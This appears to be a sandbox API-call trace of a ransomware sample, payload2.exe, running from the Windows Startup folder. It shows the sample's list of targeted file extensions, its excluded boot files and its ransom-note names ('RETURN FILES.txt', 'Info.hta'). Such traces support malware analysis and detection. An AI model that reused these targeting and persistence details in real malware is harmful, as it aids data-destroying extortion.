	[0163.687] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0163.687] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x666e20 | out: hHeap=0x610000) returned 1
	[0163.687] lstrlenW (lpString="") returned 0
	[0163.687] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x67a080 | out: hHeap=0x610000) returned 1
	[0163.687] lstrlenW (lpString=".html") returned 5
	[0163.687] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64e068, Size=0x8) returned 0x64dd78
	[0163.687] lstrlenW (lpString=".html") returned 5
	[0163.687] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x67a140 | out: hHeap=0x610000) returned 1
	[0163.687] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x67a1b8, Size=0x20) returned 0x64dbd0
	[0163.687] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dbd0, Size=0x40) returned 0x627830
	[0163.687] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627830, Size=0x80) returned 0x655538
	[0163.687] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64e068, Size=0x8) returned 0x64dd58
	[0163.687] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dd58, Size=0x10) returned 0x67a140
	[0163.687] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x67a140, Size=0x20) returned 0x64da18
	[0163.688] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0163.688] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x655538 | out: hHeap=0x610000) returned 1
	[0163.688] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x67a158, Size=0x20) returned 0x64db80
	[0163.688] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64db80, Size=0x40) returned 0x627518
	[0163.688] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0163.688] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0163.688] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627518 | out: hHeap=0x610000) returned 1
	[0163.688] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x67a158, Size=0x20) returned 0x64db80
	[0163.688] lstrlenW (lpString="Info.hta") returned 8
	[0163.688] lstrlenW (lpString="Info.hta") returned 8
	[0163.688] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64db80 | out: hHeap=0x610000) returned 1
	[0163.688] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x67a258, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe")) returned 0x5a
	[0163.688] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x67a258 | out: hHeap=0x610000) returned 1
	[0163.688] lstrlenW (lpString="payload2.exe") returned 12
	[0163.688] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64da18, Size=0x40) returned 0x627878
	[0163.688] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x67a0b0, Size=0x20) returned 0x64da18
	[0163.688] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x67a1a0, Size=0x20) returned 0x64da90
	[0163.688] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64da90, Size=0x40) returned 0x627a28
	[0163.688] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627a28, Size=0x80) returned 0x656060
	[0163.689] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x656060, Size=0x100) returned 0x656968
	[0163.689] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0163.689] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x656968 | out: hHeap=0x610000) returned 1
	[0163.689] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x67a258, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0163.689] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x68a260 | out: hHeap=0x610000) returned 1
	[0163.689] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x67a258 | out: hHeap=0x610000) returned 1
	[0163.690] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dd58, Size=0x8) returned 0x64dd98
	[0163.690] lstrlenW (lpString="%windir%;") returned 9
	[0163.690] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64da18 | out: hHeap=0x610000) returned 1
	[0163.690] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0163.690] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x667e28 | out: hHeap=0x610000) returned 1
	[0163.691] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x67a158, Size=0x20) returned 0x64da18
	[0163.691] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64da18, Size=0x40) returned 0x627a28
	[0163.691] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627a28, Size=0x80) returned 0x655180
	[0163.691] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655180, Size=0x100) returned 0x656968
	[0163.691] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64ddd8, Size=0x8) returned 0x64dcb8
	[0163.691] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dcb8, Size=0x10) returned 0x67a0e0
	[0163.691] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x67a0e0, Size=0x20) returned 0x64db30
	[0163.691] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64de18, Size=0x8) returned 0x64dd68
	[0163.691] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dd58, Size=0x8) returned 0x64ddb8
	[0163.691] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64de18, Size=0x8) returned 0x64dce8
	[0163.691] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dce8, Size=0x10) returned 0x679c30
	[0163.691] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x679c30, Size=0x20) returned 0x64dab8
	[0163.691] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dd68, Size=0x10) returned 0x679c60
	[0163.692] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64ddb8, Size=0x10) returned 0x679af8
	[0163.692] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dd18, Size=0x8) returned 0x64dde8
	[0163.692] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64de68, Size=0x8) returned 0x64de38
	[0163.692] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x679c60, Size=0x20) returned 0x64da18
	[0163.692] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x679af8, Size=0x20) returned 0x64dbd0
	[0163.692] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dcf8, Size=0x8) returned 0x64de98
	[0163.692] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0163.692] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x656968 | out: hHeap=0x610000) returned 1
	[0163.692] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x679c18, Size=0x20) returned 0x64da68
	[0163.693] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x666e20, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0163.693] lstrlenW (lpString="C:\\") returned 3
	[0163.693] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0163.693] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x666e20 | out: hHeap=0x610000) returned 1
	[0163.694] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dd08, Size=0x82) returned 0x656968
	[0163.694] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64de88, Size=0x100) returned 0x6569f8
	[0163.694] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x656968, Size=0x104) returned 0x678638
	[0163.694] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x656b00, Size=0x104) returned 0x678748
	[0163.694] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655758, Size=0x100) returned 0x678858
	[0163.694] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6569f8, Size=0x200) returned 0x666e20
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64de68 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x666e20 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679af8 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x655208 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679cc0 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6555c0 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679ae0 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x678638 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679cd8 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x678748 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679bb8 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x656b90 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679b10 | out: hHeap=0x610000) returned 1
	[0163.696] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x679cc0, Size=0x20) returned 0x64da90
	[0163.696] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64da90, Size=0x40) returned 0x627a70
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64de58 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679c60 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x653db8 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679ac8 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x678858 | out: hHeap=0x610000) returned 1
	[0163.696] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679c30 | out: hHeap=0x610000) returned 1
	[0163.697] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64dcb8 | out: hHeap=0x610000) returned 1
	[0163.697] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679ca8 | out: hHeap=0x610000) returned 1
	[0163.697] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626a68 | out: hHeap=0x610000) returned 1
	[0163.697] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626868 | out: hHeap=0x610000) returned 1
	[0163.697] lstrlenW (lpString="%systemdrive%") returned 13
	[0163.697] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64da68 | out: hHeap=0x610000) returned 1
	[0163.697] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x655b10 | out: hHeap=0x610000) returned 1
	[0163.697] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64de18 | out: hHeap=0x610000) returned 1
	[0163.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x656e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294
	[0164.207] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6ab2f8, Size=0x20) returned 0x64d900
	[0164.207] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64d900, Size=0x40) returned 0x670040
	[0164.207] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x670040, Size=0x80) returned 0x655a88
	[0164.207] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655a88, Size=0x100) returned 0x69a5a0
	[0164.207] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x69a5a0, Size=0x200) returned 0x6ab9a8
	[0164.207] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6ab9a8, Size=0x400) returned 0x6ab9a8
	[0164.207] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6ab9a8, Size=0x800) returned 0x670a78
	[0164.207] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x670a78, Size=0x1000) returned 0x670a78
	[0164.208] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64de58, Size=0x8) returned 0x64de68
	[0164.208] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64de68, Size=0x10) returned 0x6aac20
	[0164.208] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6aac20, Size=0x20) returned 0x64d838
	[0164.208] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64d838, Size=0x40) returned 0x66ff20
	[0164.208] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x66ff20, Size=0x80) returned 0x655f50
	[0164.208] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655f50, Size=0x100) returned 0x69a5a0
	[0164.208] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x69a5a0, Size=0x200) returned 0x6bb9b0
	[0164.208] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bb9b0, Size=0x400) returned 0x6bbfc0
	[0164.208] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbfc0, Size=0x800) returned 0x6bbfc0
	[0164.208] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776
	[0164.208] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x670a78 | out: hHeap=0x610000) returned 1
	[0164.209] lstrlenW (lpString="") returned 0
	[0164.209] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x672660 | out: hHeap=0x610000) returned 1
	[0164.209] lstrlenW (lpString=".html") returned 5
	[0164.209] lstrlenW (lpString=".html") returned 5
	[0164.209] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6724b0 | out: hHeap=0x610000) returned 1
	[0164.209] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x672678, Size=0x20) returned 0x64d748
	[0164.209] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64d748, Size=0x40) returned 0x670118
	[0164.209] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x670118, Size=0x80) returned 0x656060
	[0164.209] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbcb8, Size=0x8) returned 0x6bbc38
	[0164.209] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbc38, Size=0x10) returned 0x6724e0
	[0164.209] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6724e0, Size=0x20) returned 0x64d7c0
	[0164.209] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48
	[0164.209] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x656060 | out: hHeap=0x610000) returned 1
	[0164.209] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6724e0, Size=0x20) returned 0x64d888
	[0164.209] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64d888, Size=0x40) returned 0x66ff68
	[0164.209] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0164.209] lstrlenW (lpString="RETURN FILES.txt") returned 16
	[0164.209] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x66ff68 | out: hHeap=0x610000) returned 1
	[0164.209] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x672420, Size=0x20) returned 0x64d720
	[0164.209] lstrlenW (lpString="Info.hta") returned 8
	[0164.209] lstrlenW (lpString="Info.hta") returned 8
	[0164.210] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d720 | out: hHeap=0x610000) returned 1
	[0164.210] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bc7c8, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe")) returned 0x5a
	[0164.210] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bc7c8 | out: hHeap=0x610000) returned 1
	[0164.211] lstrlenW (lpString="payload2.exe") returned 12
	[0164.211] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64d7c0, Size=0x40) returned 0x6701f0
	[0164.211] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x672540, Size=0x20) returned 0x64d888
	[0164.212] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x672510, Size=0x20) returned 0x64d838
	[0164.212] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64d838, Size=0x40) returned 0x66fe48
	[0164.212] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x66fe48, Size=0x80) returned 0x6558f0
	[0164.212] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6558f0, Size=0x100) returned 0x69a5a0
	[0164.212] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0164.212] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x69a5a0 | out: hHeap=0x610000) returned 1
	[0164.212] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6bc7c8, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0164.212] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6cc7d0 | out: hHeap=0x610000) returned 1
	[0164.212] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bc7c8 | out: hHeap=0x610000) returned 1
	[0164.213] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbd28, Size=0x8) returned 0x6bbcb8
	[0164.213] lstrlenW (lpString="%windir%;") returned 9
	[0164.213] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d888 | out: hHeap=0x610000) returned 1
	[0164.213] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0164.213] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6ab9a8 | out: hHeap=0x610000) returned 1
	[0164.214] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6724e0, Size=0x20) returned 0x64d950
	[0164.214] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64d950, Size=0x40) returned 0x66fd28
	[0164.214] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x66fd28, Size=0x80) returned 0x655180
	[0164.214] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655180, Size=0x100) returned 0x6710d0
	[0164.214] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbd28, Size=0x8) returned 0x6bbcc8
	[0164.214] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbcc8, Size=0x10) returned 0x672570
	[0164.214] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x672570, Size=0x20) returned 0x64d888
	[0164.214] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbc68, Size=0x8) returned 0x6bbd08
	[0164.214] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbc78, Size=0x8) returned 0x6bbbe8
	[0164.214] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbdc8, Size=0x8) returned 0x6bbc58
	[0164.214] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbc58, Size=0x10) returned 0x672438
	[0164.214] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x672438, Size=0x20) returned 0x64d8d8
	[0164.214] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbd08, Size=0x10) returned 0x672c30
	[0164.215] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbbe8, Size=0x10) returned 0x672ba0
	[0164.215] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbcd8, Size=0x8) returned 0x6bbd98
	[0164.215] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbcc8, Size=0x8) returned 0x6bbcd8
	[0164.215] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x672c30, Size=0x20) returned 0x64d748
	[0164.215] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x672ba0, Size=0x20) returned 0x64d6d0
	[0164.215] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6bbbf8, Size=0x8) returned 0x6bbc38
	[0164.215] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0164.215] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6710d0 | out: hHeap=0x610000) returned 1
	[0164.215] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x672b88, Size=0x20) returned 0x64d838
